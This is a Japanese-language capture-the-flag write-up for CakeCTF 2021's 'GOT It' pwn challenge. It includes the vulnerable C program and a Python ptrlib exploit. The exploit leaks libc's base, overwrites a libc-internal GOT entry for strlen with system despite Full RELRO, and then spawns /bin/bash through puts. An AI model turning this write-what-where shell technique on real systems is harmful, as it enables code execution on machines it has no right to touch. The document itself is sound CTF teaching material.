# [pwn] GOT It - CakeCTF 2021
###### tags: `CakeCTF 2021`
```clike=
#include <stdio.h>
#include <unistd.h>
void main() {
char arg[10] = {0};
unsigned long address = 0, value = 0;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("<main> = %p\n", main);
printf("<printf> = %p\n", printf);
printf("address: ");
scanf("%p", (void**)&address);
printf("value: ");
scanf("%p", (void**)&value);
printf("data: ");
scanf("%9s", (char*)&arg);
*(unsigned long*)address = value;
puts(arg);
_exit(0);
}
```
エーめちゃくちゃ簡単じゃん。名前のとおりに`puts@got`を書き換えたら終わりでは! とおもったがFull RELRO
これはmiscっぽいんですが、libc自体もGOTみたいなセクションをもっていて、一部の関数はこれ経由で呼び出される。gdbでlibcの書き込み可能な領域をちまちま見ていたところ`__strlen_avx2` みたいな関数へのGOT entryがあり、`puts`でいかにも呼ばれていそうだったのでこれを書き換えた
```python=
from ptrlib import Socket, ELF, p64
libc = ELF("./libc-2.31.so")
sock = Socket("localhost", 9003)
libc_base = int(sock.recvlineafter("<printf> = "), 16) - libc.symbol("printf")
print(hex(libc_base))
strlen_got_offset = 0x1eb0a8
strlen_got_addr = libc_base + strlen_got_offset
system_addr = libc_base + libc.symbol("system")
sock.sendlineafter("address: ", hex(strlen_got_addr))
sock.sendlineafter("value: ", hex(system_addr))
sock.sendlineafter("data: ", "/bin/bash")
sock.interactive()
```